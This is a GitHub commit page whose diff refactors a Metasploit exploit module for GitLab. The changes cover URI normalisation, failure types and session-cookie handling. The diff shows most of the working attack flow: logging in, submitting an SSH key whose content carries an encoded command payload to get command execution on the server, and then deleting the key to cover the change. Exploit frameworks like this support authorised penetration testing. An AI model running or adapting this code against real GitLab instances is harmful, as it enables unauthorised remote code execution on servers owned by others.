Skip to content

Commit a995bcf

Browse files
committed
Fix URI building and failure cases
This update uses the normalize_uri method for building URIs. Additionally, failure cases have been modified for a less generic version.
1 parent 48359fa commit a995bcf

File tree

1 file changed

+22
-24
lines changed

1 file changed

+22
-24
lines changed

modules/exploits/multi/http/gitlab_shell_exec.rb

Lines changed: 22 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,7 @@ def initialize(info = {})
6969
end
7070

7171
def exploit
72+
login
7273
if target.name == 'Unix (CMD)'
7374
execute_command(payload.encoded)
7475
else
@@ -77,15 +78,14 @@ def exploit
7778
end
7879

7980
def execute_command(cmd, _opts = {})
80-
session_cookie = login
81-
key_id = add_key(session_cookie, cmd)
82-
delete_key(session_cookie, key_id)
81+
key_id = add_key(cmd)
82+
delete_key(key_id)
8383
end
8484

8585
def login
8686
username = datastore['USERNAME']
8787
password = datastore['PASSWORD']
88-
signin_page = datastore['TARGETURI'] + 'users/sign_in'
88+
signin_page = normalize_uri(datastore['TARGETURI'], 'users', 'sign_in')
8989

9090
# Get a valid session cookie and authenticity_token for the next step
9191
res = send_request_cgi(
@@ -94,15 +94,15 @@ def login
9494
'uri' => signin_page
9595
)
9696

97-
fail_with(Failure::Unknown, "#{peer} - Connection timed out during login") unless res
97+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
9898

99-
session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0] || ''
99+
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0] || ''
100100
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
101101

102102
# Perform the actual login and get the newly assigned session cookie
103103
res = send_request_cgi(
104104
'method' => 'POST',
105-
'cookie' => session_cookie,
105+
'cookie' => local_session_cookie,
106106
'uri' => signin_page,
107107
'vars_post' =>
108108
{
@@ -116,23 +116,21 @@ def login
116116

117117
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res
118118

119-
session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0]
120-
121-
session_cookie
119+
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[a-z0-9]+)/).flatten[0]
122120
end
123121

124-
def add_key(session_cookie, cmd)
125-
add_key_base = datastore['TARGETURI'] + 'profile/keys'
122+
def add_key(cmd)
123+
add_key_base = normalize_uri(datastore['TARGETURI'], 'profile', 'keys')
126124

127125
# Perform an initial request to get an authenticity_token so the actual
128126
# key addition can be done successfully.
129127
res = send_request_cgi(
130128
'method' => 'GET',
131-
'cookie' => "request_method=GET; #{session_cookie}",
132-
'uri' => add_key_base + '/new'
129+
'cookie' => "request_method=GET; #{@session_cookie}",
130+
'uri' => normalize_uri(add_key_base, 'new')
133131
)
134132

135-
fail_with(Failure::Unknown, "#{peer} - Connection timed out during request") unless res
133+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
136134

137135
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
138136
title = rand_text_alphanumeric(16)
@@ -150,7 +148,7 @@ def add_key(session_cookie, cmd)
150148

151149
res = send_request_cgi(
152150
'method' => 'POST',
153-
'cookie' => "request_method=GET; #{session_cookie}",
151+
'cookie' => "request_method=GET; #{@session_cookie}",
154152
'uri' => add_key_base,
155153
'vars_post' =>
156154
{
@@ -161,39 +159,39 @@ def add_key(session_cookie, cmd)
161159
}
162160
)
163161

164-
fail_with(Failure::Unknown, "#{peer} - Request to add key failed") unless res
162+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
165163

166164
# Get the newly added key id so it can be used for cleanup
167165
key_id = res.headers['Location'].split('/')[-1]
168166

169167
key_id
170168
end
171169

172-
def delete_key(session_cookie, key_id)
173-
key_base = datastore['TARGETURI'] + 'profile/keys'
170+
def delete_key(key_id)
171+
key_base = normalize_uri(datastore['TARGETURI'], 'profile', 'keys')
174172

175173
res = send_request_cgi(
176174
'method' => 'GET',
177-
'cookie' => "request_method=GET; #{session_cookie}",
175+
'cookie' => "request_method=GET; #{@session_cookie}",
178176
'uri' => key_base
179177
)
180178

181-
fail_with(Failure::Unknown, "#{peer} - Connection timed out during request") unless res
179+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
182180

183181
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
184182

185183
# Remove the key which was added to clean up after ourselves
186184
res = send_request_cgi(
187185
'method' => 'POST',
188-
'cookie' => "#{session_cookie}",
189-
'uri' => "#{key_base}/#{key_id}",
186+
'cookie' => "#{@session_cookie}",
187+
'uri' => normalize_uri("#{key_base}", "#{key_id}"),
190188
'vars_post' =>
191189
{
192190
'_method' => 'delete',
193191
'authenticity_token' => auth_token
194192
}
195193
)
196194

197-
fail_with(Failure::Unknown, "#{peer} - Request to delete key failed") unless res
195+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
198196
end
199197
end

0 commit comments

Comments
 (0)